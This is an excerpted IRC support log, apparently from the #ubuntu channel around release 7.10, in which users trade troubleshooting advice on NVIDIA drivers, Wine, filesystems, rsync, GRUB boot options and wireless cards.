[09:52] tech0007: ok. thx [09:52] yes [09:52] airtonix: people in #nvidia, people in here ? [09:52] airtonix: what problem regarding nvidia? [09:52] !wine | JJtech: don't use the ubuntu wine repo which is dated, use the budgetdedicated repo mentioned in the ubuntu wiki doc [09:52] JJtech: don't use the ubuntu wine repo which is dated, use the budgetdedicated repo mentioned in the ubuntu wiki doc: WINE is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information, and see !AppDB for application compatibility. [09:52] Varka and ikonia: Ah, thanks. Dang. Meh, worth a try. I expect to need wine for some other things anyways. I heard there was some other version of wine(WineX i think?), might that work? [09:52] !defrag [09:52] defragmentation is not needed for Ext3 and ReiserFS filesystems. They are much more efficient in their allocation of storage units. [09:52] JJtech: i ahve this geforece mx440 on my oldmans p4....he wants it outputing to his lcd tv as well as his main lcd monitor [09:53] anyone knows how to make wine run using Via vga, mine always lock my system up [09:53] timsandtoms, there is no winex anymore, its new name is cedega, but its not free of cost and rhino3d wont run on it either [09:53] airtonix: you meay want to look at the nvidia-legacy package [09:53] JJtech: it has (looking from back of case at ports left to right) vga, svideo, coaxial [09:53] airtonix: i think mx440 can't support it.. better buy newer cards.. [09:53] hmm [09:53] airtonix: have you tried with nvidia-settings (if you use nvidia driver not nv) [09:53] timsandtoms, just switch to blender or if you have the money to maya [09:53] Varka: Ah, dang. Well, thanks. Any ideas to get it to run under Wine? Or I'm pretty much just screwed? [09:54] JJtech & ikona: thing is no matter waht binary driver i use the system stops resonding when X kicks in...which i found out is after grub [09:54] is it save and usefully to use etx4 for a database? ive heard hat its much more efficient [09:54] timsandtoms, its just impossible, got it? [09:54] timsandtoms: try it under wine [09:54] Varka: have you tried it under wine ? [09:54] ikonia, it doesnt run [09:54] airtonix: mx440 can't support higher resolution.. if your output is higher than the cards.. [09:54] JJtech: so ica nt even tell if it works, cuase once it locks all i can do is press reset on the box [09:54] what's the best way to go about installing gstreamer stuff? [09:54] Puchti: not save yet. Try xfs or jfs [09:54] jayzer: synaptic [09:54] JJtech: all i have it set to is 1024x768 [09:54] there are more than a few packages [09:54] i'm not sure which to install [09:55] airtonix: hmmmm [09:55] ikonia, not me, but bunch of other people http://appdb.winehq.org/objectManager.php?sClass=version&iId=2557 [09:55] Varka: fair enough [09:55] JJtech: i know it does becuase ive had it working on feisty and dapper before [09:55] Anyone know if there's a way to get hibernation / standby running without crashing ubuntu? [09:55] JJtech: in clone mode at least [09:55] Varka, you'll find the best wine support in #winehq [09:55] i used to have that card before..but i was using XP back then.. [09:55] JJtech: but theres a good bit: with standradr 'nv' driver...i can get svideo working before x kicks in [09:56] xipietotec, its not my problem, its timsandtoms [09:56] jayzer: there are a few meta.packages *-plugins-{bad,ugly,good} that installs most stuff [09:56] suddenly my video is messed up.. its like its a dark red layer over the movies.. in both vlc and movie player.. Ive seen this in movie player before .. but not i vlc.. anyone got a clue how I can fix this? I have no clue where this come from.. [09:56] JJtech: but upon x kicking in the svideo output on the tv turns into coloured squares [09:56] oh, okay, timsandtoms then try #winehq [09:56] JJtech: i moved windows aorund and it changed the coloured square on the tv...so something is going through [09:56] airtonix: don't force your Vcard.. it might break.. :) [09:56] erUSUL: ok. do you know how to set a ext3 up to be good enough for a db? i dont want to use xfs/jfs because it will be a network drive. [09:56] eh well i think i'm good now for awhile, got most of my major problems fixed [09:57] JJtech: this isnt using gutsy so no randr. [09:57] erUSUL: i meon things like inodes and such crap.. [09:57] JJtech: this is xubuntu fesity [09:57] Puchti: it soesn't matter if it is networked or not to choose a fs.... === wyggler3 is now known as wyggler2 [09:57] ikonia, works .. thanks. this makes booting really quick :-) [09:57] Puchti: inodes are used in all unix filesystems [09:58] zimon well done [09:58] airtonix: ouch.. can't help bout that.. i didn't try xubuntu feisty.. sorry [09:58] JJtech: im soo close...my assumption here is that i need to know hte options to get eth right output format going through hte svideo...but all those options i s see are for the binary driver [09:58] Haha, thanks guys. I guess I'll look into maya [09:58] erUSUL, I tihnk he means he needs multi-OS access [09:58] erUSUL: thats right, but i dont know if others have those fs compiled in their kernel [09:58] s/tihnk/think [09:58] or use WinXP ;) [09:58] Puchti: anyway if you use data=writteback instead of data=ordered on mount options performance should increase [09:58] airtonix: try setting your primary output to lower resolution, then ur secondary LCD to a bit higher.. [09:59] xipietotec: fs are exported by samba or nfs so the local fs is irrelevant too [09:59] suddenly my video is messed up.. its like its a dark red layer over the movies.. in both vlc and movie player.. Ive seen this in movie player before .. but not i vlc.. anyone got a clue how I can fix this? I have no clue where this come from.. [09:59] Puchti: fs are exported by samba or nfs so the local fs is irrelevant too [10:00] bloony: are you watching a Quentin Tarantino movie? Are you sure it's not blood? [10:00] hrrmm......zfs on solaris + samba......:D [10:00] gordonjcp: hehe [10:00] yes [10:00] erUSUL: thanks ;) this partition is just for a mySQL (or some other db) so i want it optimized for it. [10:00] xipietotec: no, AoE and ocfs2 [10:00] JJtech: something like 640x480?..also im looking for the error logs that x would have outputted when it was using the nvidia driver...but i cant find them...which im assuming means theat X didnt even get to make em? [10:00] Puchti: any reason for putting it on a network drive? [10:00] gordonjcp, less acronym more english please. [10:01] xipietotec: ATA over Ethernet [10:01] xipietotec: it's like iSCSI that doesn't suck [10:01] Puchti: the best performant fs in linux is xfs follow by jfs (reiser is to risky imho). i'm using in a desktop jfs and i have encountered no problems so far [10:01] hello.. I am having a problem with my sound when I run steam (counter-strike 1.6) It beeps once and then my sound is no more! does anyone know what my ubuntu/wine sound settings should be? [10:02] gordonjcp: yes: the db will contain budget info for the whole group of ppl living here together (i dont know the word- sorry) and my PC is not up and running 24/7 [10:02] Puchti: xfs is said to be fragile against power faliures .... [10:02] anyone got a link to the livecd [10:02] Puchti: hm [10:02] airtonix: that would be most probable... i think you might try to make 2nd output to primary..but don't plug the other one first.. [10:02] JJtech: ikonia: mmm thinks i need to do the xinerama thing ot the oldmans machine and look at hte looks at a nice pace ....then i ll try again with binaries and see waht logs show me then [10:02] also, xfs < zfs :( [10:02] Puchti: what happens if more than one user tries to connect to the server? [10:03] xipietotec: zfs is not an option [10:03] * xipietotec is working on superkalafragalisticfs [10:03] airtonix: ok, I got apt-mirror, can you walk me through the set up? [10:03] * gordonjcp foresees pain, suffering and corrupt MyISAM tables in Puchti's future [10:03] JJtech: 2nd out put in this case is the svideo cable to the lcd tv [10:03] can anyone help me with my sound settings for ubuntu/wine? [10:03] erUSUL, it is if you're willing to use solaris on your NAS :) [10:03] zfs is available on linux [10:03] n2diy_: that page will walk you through...my family is calling me now sorry [10:04] or if you're willing to fuse-mount zfs [10:04] http://pastebin.com/m7d40960, my dmesg output :( [10:04] airtonix: ok, take care, thanks.

[10:05] ikonia: fuse based zfs is slooow (or so i've heard) [10:05] erUSUL: I didn't say fuse it [10:05] need help with ubuntu/wine sound plz! [10:06] ikonia, how can you fun zfs in linux without fuse? [10:06] xipietotec: build the module [10:06] xipietotec: kernel patch [10:07] zfs is used in solaris and newly in mac os x i think isnt it?? [10:07] ikonia: where is that kernel patch located ?? afaik there is not such patch .... [10:08] erUSUL: you get/make the patch/module out of the open solaris kernel. [10:08] erUSUL: its not straight forward [10:08] erUSUL: and not very good, but "do-able" [10:08] ikonia: not to mention it will break either the zfs license or the linux kernel one [10:08] now that sun have opened it [10:08] Hello all.

[10:13] hey people. I have a problem with getting Ubuntu 7.10 Gutsy Gibbon working as a live cd in persistent mode. I have followed the wiki.ubuntu.com/LiveCDPersistence tutorial. I have a usb stick with an ext2 filesystem labeled casper-rw and when starting the live cd I press F6 and add persistent after the -- [10:14] alimoe: your notebook is compaq v3000 series? [10:14] a dump of the filesystem info of my memorystick and the first part of syslog of the live cd can be found on http://paste.ubuntu-nl.org/46211/ [10:14] so i guess nobody can help with my question =/ [10:14] SmokeyD: what is persistent mode? [10:14] compaq d330, desktop > ari_stress [10:14] alimoe: you're using 7.10? [10:15] yeah [10:15] ari_stress: settings on the live cd are saved to a memorystick [10:15] I am having a problem with my sound when I run steam (counter-strike 1.6) It beeps once and then my sound is no more! does anyone know what my ubuntu/wine sound settings should be? [10:15] see https://wiki.ubuntu.com/LiveCDPersistence [10:15] alimoe: hmm dunno. last time i heard that we need to upgrade alsa, but since you're using 7.10 i guess you have the latest alsa [10:15] k [10:15] it looks like the live cd does not do anything with the "persistent" boot option [10:16] I see nothing in syslog [10:16] During boot the console reports: " "Starting ConsoleKit daemon console-kit-daemon [OK]." Why can I not find it in System > System Administration > Systemüberwachung > System monitor > Processes? [10:16] anyone? [10:16] there are 1138 people here.... [10:16] zetheroo what ? [10:17] hoe do you change the background image when you rotate the cube? [10:17] zetheroo: do Undo [10:17] or did you already apply the changes [10:17] ikonia: I did Set Label in the Gparted and for some reason it now shows my hdd as unalocated [10:18] SmokeyD: Undo is greyed out [10:18] then you already applied? [10:18] My sound is not working. i was wondering what my sound settings should be plz! [10:18] SmokeyD: yes... thast what I mean [10:19] hmm, then you are in trouble [10:19] SmokeyD: what will happen if I reboot now? [10:19] i am sorry recoy, i dont know anything about wine.

[10:20] yeah :p [10:20] i dnno [10:20] zetheroo: you probably did something else as well. If it is now unallocated then I guess you removed the partitions [10:20] brobostigon: =) [10:20] I don [10:20] 't know if there is anything you can do about that [10:20] dn4ia, open top, find its process id, and then use kill in cli too, kill 'process id' [10:20] salut ici [10:20] SmokeyD: but how can I delete a partition that I am using right now?

[10:35] Yeah [10:35] Krucifier: in ubuntu you will need a firewall but no need at all for a anti'virus [10:35] Comodo What is that? [10:35] Why, Brobo? [10:35] Why do you even need a firewall? [10:35] Don't you dare tell me it is impossible for Ubuntu to get viruses. [10:35] lol [10:35] Well, Tomcat. I uhh... [10:35] Oh this is awkward...

[10:36] Let's just say I annoyed a bunch of people recently that are hackers >_> [10:36] nothing is bug free [10:37] Krucifier: unix/linux is less suceptible to those baddies than anyother system really. [10:37] im using fedora a friend wants ubuntu so do i recomend 64 or i386 for starters [10:37] Hmmm... [10:37] Krucifier: You don't need anti virus if you're a Linux user. [10:37] Ok :) [10:37] idiosync: i386 since it's easier to get things work [10:37] Is Ubuntu good for gaming? [10:38] Or is it strictly for programming only? [10:38] Krucifier is a skeptec... [10:38] Krucifier: Depends on your definition of gaming. [10:38] idiosync: x86 is safer but there shouldn't be too many problems with x86-64 as long as you use 7.10 [10:38] Krucifier: Most Windows games won't run. [10:38] JC, Not skeptic. Just curios.

[10:40] Krucifier: Gaming software is slowly catching on in the Linux community, but it's not totally our "cup of tea". Not yet anyway. [10:40] how do i fix it? [10:40] Isn't that when you run 2 OS's? [10:40] yep [10:40] As long as Ubuntu can play Savage then it is fine with me. Lol.

[10:40] I am not into gaming too much at the moment anyuways [10:41] fire up a terminal and say df -h [10:41] then you could see how much free space there is left on your drives [10:41] And Savage is capable of being run on Ubuntu. Excellent. [10:41] and then after? sorry im asking but i have to turn windows and log back into ubuntu each time.. ubuntu takes ages to load... [10:42] How do I rsync two boxes over a LAN?

[11:13] jc : scanimage -L device `snapscan:libusb:004:004' is a Acer FlatbedScanner22 flatbed scanner [11:13] my phone does not support the java bluetooth api :( [11:13] airtonix: I blew off apt-XXX, and figured out rsync, I think my mission is accomplished, but won't know until rsync is done cooking, thanks for your help anyway. [11:14] noob101: Do not see that model number at: http://www.sane-project.org/sane-mfgs.html#Z-BENQ--ACER- [11:14] haiiiii [11:14] hello, does anyone know where I can find a tutorial to boot an iso from the harddrive (instead of burning it to a cd first ) ? :D (I ran out of writable cds) [11:14] n2diy: yeah rsync is a way of doing it...apt-mirror will help you keep a proper apt-mirror accroding to your domain and all that [11:14] delfick: Yes [11:15] jc, cool :D [11:15] mount -t iso9660 -o loop,ro /home/somebody/foobar.iso /mnt/floppy [11:15] hmm [11:15] jc : found this ----> in the link gave me 3300 USB 0x04a5/0x20b0 Good SnapScan (1.4) [11:16] sorry, mybad, didn't explain my problem properly [11:16] I then need to boot off it [11:16] as a livecd [11:16] mount -t iso9660 -o loop,ro filename.iso /mnt/floppy [11:16] delfick: I don't think you can do that. [11:16] dns53: waht about this : http://www.gnomefiles.org/app.php/GNOME_Bluetooth_control_remoto [11:17] because i think I once read something about being able to do that [11:17] but I can't find it anymore [11:17] dns53: nvm its for sony ericson [11:17] what is alternative for mspaint in gnome [11:17] daya, gimp [11:17] daya, although that is a notch more complex ;) [11:18] kane_, its bulky may be for photoshop, [11:18] airtonix: gimp? [11:19] gimp - an image manipulation and paint program [11:19] hi guys, i've updated ubuntu to gutsy few weeks ago but i am pretty unhappy about kernel support for nvidia, isdn and rtc-clock-speed (need 1000 = realtime?).. unluckly i've remove old feisty-lowlantency kernel and lowlatency-restricted-modules .. now the question: is there any way to get feisty-lowlatency-kernel back without pointing apt-sources back to feisty? [11:19] daya, I guess you can run mspaint in wine :) [11:19] where to download snapscan? [11:19] nice idea, but don't want to use wine, [11:20] b2ag: you could compile your own kernel with the new parameters [11:21] dns53: no, thank you [11:21] :) [11:21] b2ag: You more than likely still have to old kernel [11:21] i think the ubuntu studio has a lower latency kernel [11:21] b2ag: ls /boot [11:22] jc: no, i've deleted it :( [11:22] it is not that hard b2ag. There are good tutorials for it and the configuration of the standard kernel can be loaded directly from a file. [11:22] hai...? [11:22] daya, there is gpaint [11:23] b2ag: Ok... [11:24] SmokeyD: i don't really know much about automation like kbuilder-application and on last try to compile linux-sources i simply didn't find the config-file for lowlatency-kernel [11:24] kane_, thanks [11:25] ciao [11:26] i thought i could download the old kernel packages somewhere and install them using dpkg -i [11:26] anywho, goodbye [11:28] daya, there is gpaint [11:28] haiiiii...? [11:28] ops, i thought this was the italian channel [11:28] i installed mozilla-plugin-vlc and it just shows a blank screen and (no video) when i try to watch an embedded video which i know works with totem. [11:28] pie-rat, are you using compiz or beryl? [11:29] hello, anyone here never has a dell d820 laptop with nvidia geforce 7400? i've a big problems in settings up [11:29] yapyccky: what problem in detail? [11:30] b2ag, my video card is so slow...i've 512mb video ram [11:31] b2ag, i've installed nvidia-glx-new but nothing... [11:31] yapyccky: in which case u think your video card is slow? [11:32] yapyccky: 3d-application or video-decoding? [11:32] or everywhere? [11:32] :D [11:32] b2ag, everywhere [11:32] ups [11:33] b2ag, i see black box when i open a window before it appear. when i move an abject in inkscape it takes time to move and it moves realyl slow [11:33] im leaning about setting up a small homenetwork and im wondering how i can create my own internal domain? [11:33] loskobosko: no. [11:33] yapyccky: do you use any 3d-desktop-feature? [11:33] loskobosko: its a known bug, vlc plugin is screwed. [11:34] i had but now i'm not using..cause it was very bad [11:34] Lolz [11:34] Anyone remember E-Buddy? [11:34] b2ag, i dunno what to check and how to set up my videocard [11:35] b2ag, i guess there is smt wrong somewhere but i dunno where :) [11:35] Yapyccky, what video card do you use? [11:35] geforce 7400 [11:35] Krucifier, nvidia ge force 7400 (nvs 120m) with 512 mb vram [11:35] And what problem are you having? [11:35] its a slow video card but it should have absolutely no problem [11:35] with any of the stuff you've described [11:36] What *IS* the problem? :S [11:36] its really slow in everything [11:36] yapyccky: open a terminal and type sudo top [11:36] tell me how to make a video of my desktop and i'll show u [11:36] Pichu0102, done [11:37] Uhh? [11:37] he mistyped my name, i believe [11:37] Have you installed the latest drivers from nvidia? [11:37] i did Krucifier [11:37] sorry Pichu0102 :-D [11:37] Hmmm... [11:37] yapyccky: ok, is anything using a lot of resources? like 100% cpu? [11:38] Pie-rat2, no [11:38] Your computer going slow would not have anything to do with your video card... [11:38] >_> [11:38] Games, perhaps. [11:38] General usage, no. [11:38] Then again. I know nothing about Unix. [11:38] Krucifier, i've dell d820 latop ...i dont think it can be considered a slow computer.... [11:39] Krucifier: depends, bad drivers could cause a problem in 2d, and compiz+slow video card could cause a problem. [11:39] >_< [11:39] yapyccky: no, there's something wrong [11:39] I'ma just step out here lol. [11:39] I just did my first rsync between two boxes on a lan, but some of the apps didn't make the trip. What other directories besides /home, do I need to rysnc, to clone the second box to this one? [11:39] So many big words T_T [11:40] Ubuntu takes forever to download...I am on 512m broadband >_> [11:40] yapyccky: but i to think if your 2d-desktop not renders proper then you couldn't blame your video-card [11:40] too [11:40] n2diy: /etc [11:40] Shouldn't be taking 4 horus to D/L from a server located less than 100km from me. [11:40] you can get cds shipped to you for free [11:40] hours* [11:40] b2ag, what do u mean [11:40] Yeah but it takes 8 weeks [11:40] Krucifier: try bittorrent [11:40] Meh. [11:40] It is 25% done [11:40] saves a lot of time [11:40] yapyccky: cpu-speed [11:40] May as well let it finish [11:40] Krucifier:512m? you mean 512k? [11:41] Same thing [11:41] Lol [11:41] hello, need some advise, if i use this command on bash : echo "press any key to start the process" and i want this line will be in the center of the screen does it possible ? [11:41] I have just downloaded the live cd here in Mozambique and using bittorrent it was ok [11:41] directly from the website was horrible [11:41] brobostigon: that's it? [11:41] yapyccky: or applications try to run special features like overlays [11:41] hello! [11:41] Anyywaaayyy [11:41] What is Ubuntu like with LAN gaming? [11:41] and LAN connections? [11:41] i dunno what to do :( [11:41] n2diy: there are many dirs, but /home and /etc are a start. [11:41] no hablo inglés [11:42] yapyccky: if overlay (video, tv, ...) not displayed proper you could blame your video-card :) [11:42] !es|anac [11:42] anac: Si busca ayuda en Español por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, allí obtendrá mas ayuda. [11:42] If I was to use DC++ at Lans and play games at Lans, would I encounter stuff?

If I close a few apps down this (temporarily) solves the problem. This is on a vaio and (I think) I'm using the proprietary nVidia display driver. Can anyone help me fix this?

[11:43] sorry [11:43] :) [11:43] soccos: this is a known problem with compiz and the nvidia drivers [11:44] Pie-rat2: compiz? [11:44] soccos: 3d desktop effects [11:44] yapyccky: what does glxinfo show you? [11:44] soccos: your video card is running out of memory, and the nvidia drivers don't know what to do. they're supposed to use RAM, but they don't. [11:45] yapyccky: maybe you could join #quiteplacetotalk and paste it there [11:45] ok, wait [11:45] soccos: you can fix the problem by disabling 3d desktop effects, or if you can figure out how you can switch them to indirect rendering [11:45] guys how od i use pbuilder [11:45] Pie-rat2: remind me where I switch off those effects? [11:46] i keep getting an error when i do : sudo pbuilder create --distribution gutsy --othermirror "deb http://archive.ubuntu.com/ubuntu gutsy universe multiverse" [11:46] soccos: System->Preferences->Appearnce->Tab for visual effects [11:46] W: Failure trying to run: chroot /var/cache/pbuilder/build/17143/. mount -t proc proc /proc [11:46] pbuilder: debootstrap failed [11:46] -> Aborting with an error [11:46] -> cleaning the build env [11:46] -> removing directory /var/cache/pbuilder/build//17143 and its subdirectories [11:47] !pastebin | seiflotfy [11:47] seiflotfy: pastebin is a service to post large texts so you don't flood the channel.

What can i do to solve this problem? [11:49] soccos: i'm kind of annoyed that nvidia hasn't fixed that yet. [11:49] sorry for my poor english [11:50] mario_: dont worry about it. === DRP is now known as D_ReaL_PuNiShEr [11:50] mario_: so, it prints the actual code for the pdf? [11:50] mario_: what program are you using to print the pdf? [11:50] while doing any install or uninstall i am getting error , it always tries to install python-ldap and then getting error like dpkg-info 27:pycentral not found [11:50] i use the dafualt GNOME pdf reader [11:51] ah, i have ubuntu 7.10 [11:51] default [11:51] What graphical tool for svn in gnome would you recommend? [11:51] hi all [11:51] Pie-rat2: I was actually pretty happy when i switched to the nvidia driver that it fixed various other display oddities I'd been experiencing (like not being able to use an external monitor)! [11:52] Rapidsvn? [11:52] i am using ubuntu 7.10 and while doing any install or uninstall i am getting error , it always tries to install python-ldap and then getting error like dpkg-info 27:pycentral not found [11:52] soccos: yeah, they're currently the best out there, but they could be better [11:52] can any one pls help me [11:52] Pie-rat2: fwiw i only started seeing the 'black window' issue when I upgraded to GG [11:52] ive just installed ubuntu-server 7.10 on a laptop but its wireless pcmcia card is being recognised (i think, it shows up in iwconfig at eth2) but returns errors when trying to connect to the network (this card was working before in xubuntu 7.04) [11:53] soccos: yeah, 7.10 uses effects by default [11:53] soccos: personally i think they were NOT ready to be enabled [11:53] soccos: and still aren't [11:53] got a question about ut2k4: [11:53] i cant use the voice commands to control my teammates [11:53] is this a general problem with unreal tournament2004 under linux or a misconfiguration on my side? [11:53] (when i press the key "f" to voice chat the sound gets leveled down but the bots dont take the commands) [11:54] I am trying to install ubuntu from the cd. every time I click "install" it just freezes? [11:54] jc_denton: do you know your mic works? [11:54] J_5: try the alternate ce [11:54] yes it does [11:54] Pie-rat2: I'd also switched them on in FF so I take full responsibility ;-) [11:54] J_5: alternate cd sry for the typo. [11:54] is the pretty easy to install? im a noob :) [11:54] ok didnt tried to record sound but i can hear me [11:55] that* [11:55] J_5: its jsut a text based installer. [11:55] jc_denton: you should ask on a ut2k4 forum if the mic works to control the bots on linux [11:55] J_5: its harder, but it shouldn't be a problem [11:55] ok, thanks :) [11:55] J_5: also make sure you check your cd for defects. This can be done on the menu that comes up right before it boots. [11:55] J_5: some people have had success with burning at slower speeds etc... [11:56] hai... [11:57] 10 bucks virgin is a troll [11:57] Pie-rat2: it also fixed another couple of issues i.e. shift+alt+tab now works again and there's an icon for remote X apps when I shift+tab (where there wasn't before) [11:58] my wireless pcmcia card says "NOT READY!" under iwconfig, any ideas? (new ubuntu-server install) [11:58] Pie-rat2: or a forener [11:58] h1st0: yeah, i did try that. it says its ok. I will also try buring a cd at a slower speed. thanks ! [11:58] joycetick: what kind of wifi card? [11:58] J_5: well if the cd checks okay burning at a slower speed may not help. But the alternate iso is definately worth a try. [11:58] netgear WG511 (a laptop pcmcia one) [11:58] hmm, ok. I'm download that now [11:58] ing* [11:59] it worked in my previous xubuntu install, although i cant remember if i had to do anything to make it work [11:59] hate netgear. [11:59] it shouldn't be a problem though [11:59] netgear is teh devil :) [12:00] joycetick: what chipset does it have? try lspcmcia or lspci to see if you can get any more info. [12:00] ok will find a forum hopefully [12:00] jc_denton: they have forums and support on their site. [12:00] i tried a recording test in audacity: there are "strange" background noises..... [12:01] * h1st0 uptime 15D 6H 57M [12:01] and after i record one part audacity says device is in use cant record [12:01] well... thats nice, any ideas on the problem though? :P [12:01] i am using ubuntu 7.10 and while doing any install or uninstall i am getting error , it always tries to install python-ldap and then getting error like dpkg-info 27:pycentral not found [12:01] can any one please help me [12:01] jc_denton:: white noise? [12:02] jc_denton: You may get better help from someone that plays the game regularly like on their forums. [12:02] joycetick: well what chipset is it? [12:02] anand123: pastebin the command and full error [12:02] hey im back [12:02] !paste > anand123 (read the private message from ubotu) [12:02] yeah, i will visit the atari boards [12:02] just wanted to say i got it working [12:02] would it be the "Prism GT/Prism Duette"? [12:03] joycetick: prism chipset yeah. hrm... [12:04] could someone (not google) point me to a nice kbuilder tutorial [12:04] ? [12:04] joycetick: hold on let me check something. [12:04] h1st0: thx, will do :) [12:05] joycetick: if its anything but v1 you are going to have problems with it. [12:05] joycetick: does it say "made in china" or a version on the pcmcia card? [12:06] v3 :( [12:06] joycetick: yeah its a problem with that version but you can still get it working here's a howto http://ubuntuforums.org/showthread.php?t=76804 [12:06] but it worked 2 hours ago with xubuntu :S [12:07] oh ok will try that, thx [12:07] How do I get rid of failsafe-x?

[12:10] how do i do that? [12:10] h1st0: ok [12:10] any xubuntu user ? [12:10] joycetick: depends on what you consider hard. I'm sure there are howto's ont he forums. You probably could use the install cd to install it. ndiswrapper should be on there. You would just have to get a way to get the windows driver over. [12:10] nothing happened? [12:10] x_zeuss: what do you need to edit exactly? [12:11] hi there. [12:11] i need to add all_generic_ide and acpi=off [12:11] hi :D [12:11] before i boot [12:11] so that i can boot [12:11] h1st0: i have the windows driver cd.. that might help :P [12:11] x_zeuss: hit esc when grub is loading then you can boot to recovery mode or you can hit E I believe to append to the end of the kernel line. [12:11] x_zeuss: edit /boot/grub/menu.lst [12:11] joycetick: if its the corerct windows driver yes. [12:11] I am running a windows app under wine but cant get the usb dongle to work. please help [12:11] !who | x_zeuss [12:11] x_zeuss: As you can see, this is a large channel.

[12:14] h1st0: i can't edit the menu.lst before i boot ubuntu [12:14] h1st0: i have to add this options before i boot [12:15] x_zeuss: no you need to boot first. Try booting to recovery mode then editing any fiels. Like I say menu.1st may not be the proper way to go. [12:15] x_zeuss: you can edit the grub line by pressing 'e', then edit the file or blacklist as he suggests [12:16] i press e, i add what i need in order to boot but after i edit and press b to boot it reboots the computer but the lines i added don't remain there [12:16] x_zeuss: but hitting e on the grub menu you should be able to type those commands in. Then I would add the acpi module to the blacklist file. and add the all_generic_ide module or whatever to the initramfs [12:16] can anyone pls help me, i am getting error while each install and uninstall either by apt-get or synaptic ----http://paste.ubuntu-nl.org/46213/ [12:16] x_zeuss: add it then press enter.

[12:17] x_zeuss: what happens when you try to boot normally? [12:17] h1st0: it doesn't boot and i get an initramfs ata01 except error [12:18] how can i unmount a cd from the terminal? [12:18] joycetick: eject [12:18] joycetick: err. sudo eject [12:18] h1st0: and in order to boot i have to add all_generic_ide to the boot option before booting [12:18] x_zeuss: have you tried booting to recovery mode?

But if that isn't working. YOu can boot to the install cd and fix it from there. We just need to figure out the proper way to fix it. [12:19] wers: what are you compiling?

[13:32] how do i boot ubuntu if the disk which it is installed on isnt recognized as a boot device? [13:32] I'm confused. I'm trying to backup this box to my test box using rsync. From my test box I run rsync thisbox:/home/me /home/me, but the files end up in /home/me/me, on the test box!? [13:32] ssn, thats not enough of information [13:33] ssn, so you didn't install grub? [13:33] rambo3 yes [13:33] baxrob thx for the advice [13:33] i install grub [13:33] ubuntu did this [13:33] i will try it now [13:33] thx [13:33] i was runing counterstrike with wine and it crashed. so i had to restart comp with REISUB. is there any way i can see console output ' [13:33] ?* [13:33] <_ruben> n2diy: never tried rsync myself, but try adding trailing slashes to those paths (so /home/me/) [13:33] gutsy does it [13:33] phicho, you bet. good luck [13:33] ssn, you might want to try and repair grub [13:34] rambo3: how and why? [13:34] _ruben: ok, I'll give it a try, thanks. [13:34] theres nothing wrong with grub [13:34] its just that the drive isnt recognized as a boot device [13:34] but i am able to install ubuntu [13:34] ssn, not booting isnt enough of information . do you get error, no operating systems found , blinking udnerscore ? [13:35] no operating system found [13:35] ssn, rambo3 : is this a dual-boot thing? [13:35] dear friends, I need a hint. My notebook HP DV6000 is very slow when running without network and with battery.. What could it be? I use Ubuntu 7.10 [13:35] baxrob: no [13:35] ssn, thnx [13:35] why is it when i try to unmount my usb key, it says /dev/sdd2 is mouted; will not make a filesyste here! [13:35] its not even mounted... [13:35] ssn, either you have a failing harddrive or you grub didn't install [13:36] i was runing counterstrike with wine and it crashed. so i had to restart comp with REISUB. is there any way i can see console output ? [13:36] rambo3: neither [13:36] its a brand new ssd that isnt recognized as a boot device by the t41 bios [13:36] but since i am able to install ubuntu / grub and whatever, it should somehow be possible to boot [13:37] but i dont know how [13:37] well i know how, but i lost my usb stick [13:37] ssn, is it a flashdrive? [13:37] baxrob on xchat u cannot connect on msn :( [13:37] yes [13:37] why is it when i try to unmount my usb key, it says /dev/sdd2 is mouted; will not make a filesyste here! [13:37] its not even mounted... [13:37] !install | ssn [13:37] i was runing counterstrike with wine and it crashed. so i had to restart comp with REISUB. is there any way i can see console output ?

For normal installs, use the Desktop CD, which is also a "Live" CD - See also !Minimal [13:38] hi to all [13:38] i did the install from the alternate cd [13:38] multiple times [13:38] could someone help me figure out how come i can't see my hard drives anymore? [13:38] why is it when i try to unmount my usb key, it says /dev/sdd2 is mouted; will not make a filesyste here! [13:38] its not even mounted... [13:39] ThuLex: How are you trying to unmount it? [13:39] I resolved this problem by [13:39] sudo modprobe -r ehci_hcd [13:39] terminal > sudo umount /dev/sdd2 [13:40] i just need someone explaining me how to boot ubuntu on a system that doesnt recognize my drive as a boot device [13:40] but when i do that it says that /dev/sdd2 isnt mounted...

The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic) [13:40] im doing it on another computer... [13:40] ssn, is there no other OS you can boot to on the system? [13:40] ThuLex: Are you sure that the device is /dev/sdd2? [13:41] why are we mounting from device names rather than uuid [13:41] cos im a noob ikonia === inkululeko is now known as blablubb === blablubb is now known as inkululeko [13:41] well as much as i can see Pici... [13:41] uuid is so easy to remember [13:42] the name keeps changing... [13:42] ThuLex: does the output of `mount` say that the mountpoint of /dev/sdd2 is equal to where the usb drive is mounting? [13:42] first it was sdb [13:42] then it was dd [13:42] sd [13:42] sdd [13:42] now its sda [13:42] !enter | ThuLex [13:42] ThuLex: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!

[13:42] i dont know.. im not trying to mount them Pici [13:42] rambo3: it has a option to boot from ide harddisks [13:43] ThuLex: mount without any options will tell you what is mounted and where === inkululeko is now known as izibi [13:43] so it should boot from a fully ata5 compatible flash drive [13:43] there is no difference [13:43] i just need sombody explaining me how to get around the bios telling me what i can boot and what not [13:44] ssn: your bios is the boss [13:44] ssn, what is the system? (sorry if this is redundant) [13:44] how do i view what is mounted? [13:44] ThuLex: mount === izibi is now known as inkululeko [13:44] I need a little bit of help, if someone is willing. Pls msg me... [13:44] ThuLex: you've been told 4 times now [13:44] IndikuT: just ask the question === baxrob is now known as baxrob-away [13:46] meh [13:46] Fresh install of Gutsy Server, Can't get restricted drivers, resorted to ndiswrapper for faster speeds... had it working with -generic. Though, with server, I cant get my wifi card loaded. Broadcom 4311 on Dell Inspiron e1705/9400 === inkululeko_ is now known as izibi [13:46] putting linux on a usb key is almost impossible [13:47] IndikuT: what the heck are you doing ?? 1.) what did you need out of restricted drivers ? 2. )why do you think ndiswrapper gives you faster speed 3.) why are you installing the server kernel ? [13:47] ThuLex: no itsn's not [13:47] ive followed two tutorials yesterday [13:47] neither of them worked [13:47] ThuLex: yes, but you don't pay attention so I'm not surprised [13:47] I went the route of -server, cuz after 3 weeks, couldnt get LAMP going on -generic. [13:47] they either froze or came up theres problems with gnome and the user manager [13:48] IndikuT: the kernel doesn't effect lamp [13:48] i read them all ikonia [13:48] How do i chmod 755 the subdirs? [13:48] I've loaded the xfs kernel module, and I'm going to create a xfs formatted partition in gparted. But, gparted doesn't give me an xfs option in the filesystem 